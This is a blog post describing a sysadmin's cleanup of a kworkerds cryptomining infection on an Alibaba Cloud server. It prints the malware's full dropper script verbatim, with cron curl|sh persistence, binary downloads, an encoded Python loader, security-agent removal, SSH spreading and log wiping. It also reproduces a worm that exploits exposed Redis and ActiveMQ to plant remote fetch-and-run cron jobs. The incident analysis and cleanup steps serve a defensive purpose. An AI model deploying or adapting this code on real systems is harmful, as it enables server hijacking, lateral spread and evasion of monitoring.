记一次阿里云被植入挖矿木马的事件

今天上午同事说我负责的那个模块不工作了,我登录了一下阿里云服务器排查一下,发现服务器运行很慢。(因为你敲的命令字符回传的很快,但是命令的响应时间长,所以是服务器卡了,而不是网络的问题)

使用top查看一下,发现:

[root@xxx ~]# top
%Cpu(s):  99 us,  0.8 sy,  0.0 ni, 0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                                                                                                
38657 root      20   0 2047468   5000   2500 S   0.6  0.0  28:37.37 kworkerds                                                                                                                                                           
39104 root      20   0 1417372   3900   2144 S   0.6  0.0   9:59.73 kworkerds                                                                                                                                                           
16513 root      20   0 1946444  49456   2336 S   0.6  0.2  62:44.23 kworkerds                                                                                                                                                           
16589 root      20   0 1154188   3428   1772 S   0.6  0.0  52:17.28 kworkerds                                                                                                                                                           
15859 root      20   0 1488564   3756   1652 S   0.6  0.0  56:49.77 kworkerds                                                                                                                                                           
11915 root      20   0   15.4g   2.6g   7612 S   0.6  8.2  21:54.61 kworkerds                                                                                                                                                           
 1987 root      20   0   58576   2468   1540 R   0.6  0.0   0:00.20 kworkerds     

抱歉,没有及时截图,大家将就着看吧,大概就是上图的样子,cpu已经占到99%,32GB内存只剩200MB,而单独查看kworkerds进程就是如下结果:

[root@xxx ~]# ps -ef | grep -v grep |grep kworkerds
root      1754     1  9 5月16 ?       03:09:29 /tmp/kworkerds
root      1963     1  9 5月16 ?       03:27:53 /tmp/kworkerds
root      2066     1  9 5月16 ?       03:27:51 /tmp/kworkerds
root      2073     1  6 00:33 ?        00:38:24 /tmp/kworkerds
root      2093     1 12 5月15 ?       05:04:58 /tmp/kworkerds
......此处省略380个进程
[root@xxx ~]# ps -ef | grep -v grep |grep kworkerds | wc -l
385

毫无疑问,就是这家伙在占用服务器资源,因为服务器不是我一个人在用,所以问了同事是否知道是什么服务,同事也不知道,搜索一下,原来这是一个挖矿木马,二话不说先把他kill掉。

[root@xxx ~]# ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9

果然,服务器快了很多。但是不能治标不治本,查一下开机启动和定时任务。开机启动没发现问题,定时任务有异常。

[root@XXX ~] systemctl list-unit-files
(没发现问题,就不贴进来了)
[root@XXX ~] cat /etc/rc.local
(没发现问题,就不贴进来了)
[root@XXX ~] cat /etc/crontab
...
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
0 1 * * * root /usr/local/bin/dns
[root@XXX ~] crontab -l
*/23 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh
##

定时任务有点奇怪,我们去掉"|sh",用那条命令下载一下它的代码,结果如下:

[root@XXX ~]# (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)
#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

function b() {
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
rm -rf /tmp/qW3xT.2 /tmp/ddgs.3020 /tmp/ddgs.3020 /tmp/wnTKYg /tmp/2t3ik
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "Xbash" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cranbery" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "minerd" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep /opt/yilu/mservice|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
p=$(ps auxf|grep -v grep|grep kworkerds|wc -l)
if [ ${p} -eq 0 ];then
    ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi
}

function d() {
    ARCH=$(uname -i)
    if [ "$ARCH" == "x86_64" ]; then
        (curl -fsSL --connect-timeout 120 https://master.clminer.ru/1/1551434761x2728329064.jpg -o /tmp/kworkerds||wget https://master.clminer.ru/1/1551434761x2728329064.jpg -O /tmp/kworkerds) && chmod +x /tmp/kworkerds
        /tmp/kworkerds
    else
        mkdir -p /var/tmp
        chmod 1777 /var/tmp
        (curl -fsSL --connect-timeout 120 https://master.clminer.ru/2/1551434778x2728329032.jpg -o /var/tmp/kworkerds||wget https://master.clminer.ru/2/1551434778x2728329032.jpg -O /var/tmp/kworkerds) && chmod +x /var/tmp/kworkerds
        /var/tmp/kworkerds
    fi
}

function e() {
    nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cDovLzE4NS4xMC42OC45MS9yYXcvOThzZGY2OTEnCnRyeToKICAgIHBhZ2U9YmFzZTY0LmI2NGRlY29kZSh1cmxsaWIudXJsb3BlbihkKS5yZWFkKCkpCiAgICBleGVjKHBhZ2UpCmV4Y2VwdDoKICAgIHBhc3M='))" >/dev/null 2>&1 &
    touch /tmp/.38t9guft0055d0565u444gtjr0
}

function c() {
    chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
    (curl -fsSL --connect-timeout 120 http://185.10.68.91/2/2 -o /usr/local/bin/dns||wget http://185.10.68.91/2/2 -O /usr/local/bin/dns) && chmod 755 /usr/local/bin/dns && touch -acmr /bin/sh /usr/local/bin/dns && chattr +i /usr/local/bin/dns
    echo -e "SHELL=/bin/sh
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
0 1 * * * root /usr/local/bin/dns" > /etc/crontab && touch -acmr /bin/sh /etc/crontab
    echo -e "*/10 * * * * root (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh
##" > /etc/cron.d/root && touch -acmr /bin/sh /etc/cron.d/root && chattr +i /etc/cron.d/root
    echo -e "*/17 * * * * root (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh
##" > /etc/cron.d/apache && touch -acmr /bin/sh /etc/cron.d/apache && chattr +i /etc/cron.d/apache
    echo -e "*/23 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh
##" > /var/spool/cron/root && touch -acmr /bin/sh /var/spool/cron/root && chattr +i /var/spool/cron/root
    mkdir -p /var/spool/cron/crontabs
    echo -e "*/31 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh
##" > /var/spool/cron/crontabs/root && touch -acmr /bin/sh /var/spool/cron/crontabs/root && chattr +i /var/spool/cron/crontabs/root
    mkdir -p /etc/cron.hourly
    (curl -fsSL --connect-timeout 120 http://185.10.68.91/1/1 -o /etc/cron.hourly/oanacroner||wget http://185.10.68.91/1/1 -O /etc/cron.hourly/oanacroner) && chmod 755 /etc/cron.hourly/oanacroner
    mkdir -p /etc/cron.daily
    (curl -fsSL --connect-timeout 120 http://185.10.68.91/1/1 -o /etc/cron.daily/oanacroner||wget http://185.10.68.91/1/1 -O /etc/cron.daily/oanacroner) && chmod 755 /etc/cron.daily/oanacroner
    mkdir -p /etc/cron.monthly
    (curl -fsSL --connect-timeout 120 http://185.10.68.91/1/1 -o /etc/cron.monthly/oanacroner||wget http://185.10.68.91/1/1 -O /etc/cron.monthly/oanacroner) && chmod 755 /etc/cron.monthly/oanacroner
    mkdir -p /usr/local/lib/
    if [ ! -f "/usr/local/lib/libntpd.so" ]; then
        ARCH=$(uname -i)
        if [ "$ARCH" == "x86_64" ]; then
            (curl -fsSL --connect-timeout 120 https://master.clminer.ru/One/2 -o /usr/local/lib/libntpd.so||wget https://master.clminer.ru/One/2 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
        elif [ "$ARCH" == "i386" ]; then
            (curl -fsSL --connect-timeout 120 https://master.clminer.ru/One/22 -o /usr/local/lib/libntpd.so||wget https://master.clminer.ru/One/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
        else
            (curl -fsSL --connect-timeout 120 https://master.clminer.ru/One/22 -o /usr/local/lib/libntpd.so||wget https://master.clminer.ru/One/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
        fi
    fi
    chattr -i /etc/ld.so.preload && echo /usr/local/lib/libntpd.so > /etc/ld.so.preload && touch -acmr /bin/sh /etc/ld.so.preload
    if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then   
          for h in $(grep -oE "([0-9]{1,3}.){3}[0-9]{1,3}" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh' & done
    fi
    touch -acmr /bin/sh /etc/cron.hourly/oanacroner
    touch -acmr /bin/sh /etc/cron.daily/oanacroner
    touch -acmr /bin/sh /etc/cron.monthly/oanacroner
}

function a() {
    if ps aux | grep -i '[a]liyun'; then
        wget http://update.aegis.aliyun.com/download/uninstall.sh
        chmod +x uninstall.sh
        ./uninstall.sh
        wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh
        chmod +x quartz_uninstall.sh
        ./quartz_uninstall.sh
        rm -f uninstall.sh     quartz_uninstall.sh
        pkill aliyun-service
        rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
        rm -rf /usr/local/aegis*;
    elif ps aux | grep -i '[y]unjing'; then
        /usr/local/qcloud/stargate/admin/uninstall.sh
        /usr/local/qcloud/YunJing/uninst.sh
        /usr/local/qcloud/monitor/barad/admin/uninstall.sh
    fi
    touch /tmp/.a
}

mkdir -p /tmp
chmod 1777 /tmp
if [ ! -f "/tmp/.a" ]; then
    a
fi
b
c
port=$(netstat -an | grep :56415 | wc -l)
if [ ${port} -eq 0 ];then
    d
fi
if [ ! -f "/tmp/.38t9guft0055d0565u444gtjr0" ]; then
    e
fi
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#

结果就很清楚了,kworkerds这东西就是这个脚本搞得鬼,脚本写的还挺规范的,而且它还自己检查了一下,如果哪个kworkerds如果占用cpu超过80%,就把它kill掉,这样可以防止被一些性能监测软件监测到异常,不过你单个kworkerds确实没有占用超过80%,但是你380多个进程一起跑,总共占用的CPU就达到了99%了啊,当然这不是重点,我们通过脚本,可以看到它都篡改了哪些文件。

chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload

当你自己去改动这些文件的时候发现改不动,改不动就对了,人家代码里写的很清楚,自己改的时候先用"chattr -i"解锁,改完之后再用"chattr +i"加锁,你自己手动解锁一下就可以改了。

有意思的是他的木马程序的下载地址是:https://master.clminer.ru/1/1551434761x2728329064.jpg,他居然把图片下载成程序,不要怀疑自己的眼睛,下载下来之后和/tmp/kworkerds(之前运行的程序)用md5sum命令比较过了,就是同样的文件。真是“禽兽之变诈几何哉”。

解决方法:

1.对于脚本和文本文件,把他添加的语句删除;

2.对于被篡改的二进制可执行程序,去别的服务器找相应的程序替换。我的netstat命令就被改成了一个钓鱼网站的网页,我去其他服务器复制了二进制程序改过来的。

 清理脚本参考,注意是参考,因为我的服务器里面这些文件本来就是空的,所以可以这样清理,使用的时候大家还是要自己注意一下:

#!/bin/bash
ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9

chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
echo "" > /usr/local/bin/dns
echo "" > /etc/cron.d/root
echo "" > /etc/cron.d/apache
echo "" > /var/spool/cron/root
echo "" > /var/spool/cron/crontabs/root
rm -rf /etc/cron.hourly/oanacroner
rm -rf /etc/cron.daily/oanacroner
rm -rf  /etc/cron.monthly/oanacroner

sed -i '/cron.hourly/d' /etc/crontab
sed -i '/cron.daily/d' /etc/crontab
sed -i '/usr/local/bin/dns/d' /etc/crontab

#sed -i '$d' /etc/ld.so.preload
rm -rf /usr/local/lib/libntpd.so

#/tmp/.a就不要删了,删了之后万一后来再种木马,还要给你卸载一次阿里云盾
#rm -rf /tmp/.a
rm -rf /bin/kworkerds
rm -rf /tmp/kworkerds
rm -rf /usr/sbin/kworkerds
rm -rf /etc/init.d/kworker
chkconfig --del kworker
View Code

回头来说说这个脚本,大致的思路如下:

1.删除阿里云云盾客户端和监控程序(估计是参考了你的博客吧:https://www.cnblogs.com/itfat/p/10469342.html)
2.清理主机环境:停止、删除主机已经存在的其他挖矿程序
3.配置主机环境:下载挖矿程序和配置文件并执行
4.篡改系统文件:防止被运维人员发现异常
5.持续感染主机:设置任务计划,保持更新,持续感染主机
6.清空日志,防止别人发现自己的访问踪迹。

脚本也不止这一个,抛开别的不谈,这家伙写的脚本倒是有几分可借鉴之处。

这还是不算解决问题,日志已经被删了,所以还是要找到根源才行。思来想去应该时redis漏洞的问题,原因如下:

1.最初同事找我的时候说安装完软件之后跑不通,我netstat -lanp | grep 6379一下,发现端口已经在用了,就说是端口被占用了,换一个端口就解决了,回头想想当时真是幼稚了;

2.今天再次出现问题的时候,恰恰又是redis的问题,我自己的模块不能将数据写入redis;

3.redis确实有漏洞,可以让别人通过连接redis登录服务器,具体怎么操作呢?http://blog.jobbole.com/94518/

#! /usr/bin/env python
#coding: utf-8

import threading
import socket
from re import findall
import httplib
import os

IP_LIST = []

class scanner(threading.Thread):
    tlist = []
    maxthreads = 100
    evnt = threading.Event()
    lck = threading.Lock()

    def __init__(self,host):
        threading.Thread.__init__(self)
        self.host = host
    def run(self):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(2)
            s.connect_ex((self.host, 8161))
            s.send('google spider
')
            results = s.recv(1)
            if str(results):
                data = "*/10 * * * * root (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh
##"
                data2 = "*/15 * * * * (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh
##"
                conn = httplib.HTTPConnection(self.host, port=8161, timeout=2)
                conn.request(method='PUT', url='/fileserver/go.txt', body=data)
                conn.request(method='PUT', url='/fileserver/goa.txt', body=data2)
                conn.request(method='PUT', url='/fileserver/gob.txt', body=data2)
                result = conn.getresponse()
                conn.close()
                if result.status == 204:
                    headers = {'Destination': 'file:///etc/cron.d/root'}
                    headers2 = {'Destination': 'file:///var/spool/cron/root'}
                    headers3 = {'Destination': 'file:///var/spool/cron/crontabs/root'}
                    conn = httplib.HTTPConnection(self.host, port=8161, timeout=2)
                    conn.request(method='MOVE', url='/fileserver/go.txt', headers=headers)
                    conn.request(method='MOVE', url='/fileserver/goa.txt', headers=headers2)
                    conn.request(method='MOVE', url='/fileserver/gob.txt', headers=headers3)
                    conn.close()
            s.close()
        except Exception:
            pass
        try:
            s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s2.settimeout(2)
            x = s2.connect_ex((self.host, 6379))
            if x == 0:
                s2.send('config set stop-writes-on-bgsave-error no
')
                s2.send('flushall
')
                s2.send('config set dbfilename root
')
                s2.send('set SwE3SC "\t\n*/10 * * * * root (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\n\t"
')
                s2.send('set NysX7D "\t\n*/15 * * * * (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\n\t"
')
                s2.send('config set dir /etc/cron.d
')
                s2.send('save
')
                s2.send('config set dir /var/spool/cron
')
                s2.send('save
')
                s2.send('config set dir /var/spool/cron/crontabs
')
                s2.send('save
')
                s2.send('flushall
')
                s2.send('config set stop-writes-on-bgsave-error yes
')
            s2.close()
        except Exception:
            pass
        scanner.lck.acquire()
        scanner.tlist.remove(self)
        if len(scanner.tlist) < scanner.maxthreads:
            scanner.evnt.set()
            scanner.evnt.clear()
        scanner.lck.release()

    def newthread(host):
        scanner.lck.acquire()
        sc = scanner(host)
        scanner.tlist.append(sc)
        scanner.lck.release()
        sc.start()

    newthread = staticmethod(newthread)

def get_ip_list():
    try:
        url = 'ident.me'
        conn = httplib.HTTPConnection(url, port=80, timeout=10)
        conn.request(method='GET', url='/', )
        result = conn.getresponse()
        ip1 = result.read()
        ips1 = findall(r'd+.d+.', ip1)[0]
        for u in range(0, 256):
            ip_list1 = (ips1 + (str(u)))
            for g in range(1, 256):
                IP_LIST.append(ip_list1 + '.' + (str(g)))
    except Exception:
        ip2 = os.popen("/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:"").readline().rstrip()
        ips2 = findall(r'd+.d+.', ip2)[0]
        for i in range(0, 255):
            ip_list2 = (ips2 + (str(i)))
            for g in range(1, 255):
                IP_LIST.append(ip_list2 + '.' + (str(g)))
        pass

def runPortscan():
    get_ip_list()
    for host in IP_LIST:
        scanner.lck.acquire()
        if len(scanner.tlist) >= scanner.maxthreads:
            scanner.lck.release()
            scanner.evnt.wait()
        else:
            scanner.lck.release()
        scanner.newthread(host)
    for t in scanner.tlist:
        t.join()

if __name__ == "__main__":
    runPortscan()
View Code

病毒的源码结构:https://blog.csdn.net/WangZekun_wolf/article/details/90379755

对于小白来讲,阿里云也给出了解决方案:

https://help.aliyun.com/knowledge_detail/37447.html?spm=a2c4g.11186631.2.3.29131848FutMrC

乱七八糟的就说到这里吧。

原文地址:https://www.cnblogs.com/bugutian/p/10881070.html